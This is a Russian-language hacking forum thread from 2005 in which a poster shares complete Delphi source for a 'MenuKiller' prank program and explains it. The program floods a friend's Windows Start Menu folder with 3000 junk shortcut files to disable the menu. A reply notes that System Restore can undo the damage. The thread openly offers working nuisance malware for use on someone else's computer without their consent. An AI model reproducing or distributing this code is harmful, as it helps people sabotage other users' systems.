|
| [ На главную ] -- [ Список участников ] -- [ Правила форума ] -- [ Зарегистрироваться ] |
| On-line: |
| Форум Для Умных Людей / [ ХАКИНГ ] / Западло |
| Страницы: 1 |
|
| Автор | Сообщение |
|
Amazonka Группа: НОВИЧЁК Сообщений: 312 
|
Добавлено: 03-02-2005 09:39 |
|
Если твой товарищ, на котором ты испытывал мощь CON-бага, еще не понял, что с тобой шутки плохи :) то надо срочно принимать меры по его воспитанию. Сегодня мы лишим его удовольствия любоваться Главным Меню, причем никакие перезагрузки его не спасут. Итак, пишем прогу MenuKiller. Запускай любимую Делфю, кидай на форму кнопку с надписью "Убить Пуск!" и создавай для нее обработчик по клику. Обработчик переписывай отсюда: procedure TForm1.Button1Click(Sender: TObject); var f:TextFile; filename: string; i,j:integer; begin for i:=1 to 3000 do begin filename:='C:\WINDOWS\Главное меню\'; for j:=1 to 20 do filename:=filename+Chr(Random(25)+65) filename:=filename+'.lnk'; AssignFile(f,filename); Rewrite(f); CloseFile(f); end; ShowMessage('Ok!'); end; Сейчас я тебе объясню, что же мы тут написали такое. У нас есть два вложенных цикла: внутренний цикл "придумывает" случайное имя файла, внешний - создает три тысячи таких файлов в папке Главное Меню. Компилируй эту прогу, жми на кнопку "Убить Пуск!" и жди появления сообщения "Ок!". Все, теперь можешь давить на Пуск до посинения, Главного Меню ты все равно больше никогда не увидишь... :) P.S. Если нужного эффекта не наблюдается, нажимать "Убить Пуск!" до готовности. Кхе-кхе, соль по вкусу... :) |
|
|
Dark Raven Группа: НОВИЧЁК Сообщений: 221 
|
Добавлено: 04-02-2005 18:24 |
Ошибаешься милочка... System Restore все сможет поставиль на свои места... Если у вас, конечно же, есть System Restore...  В общем - то я при желании смог-бы написать програму-лечение. На той же Дельфе. Но желания у меня нет... 
|
| Страницы: 1 |
|
| Форум Для Умных Людей / [ ХАКИНГ ] / Западло |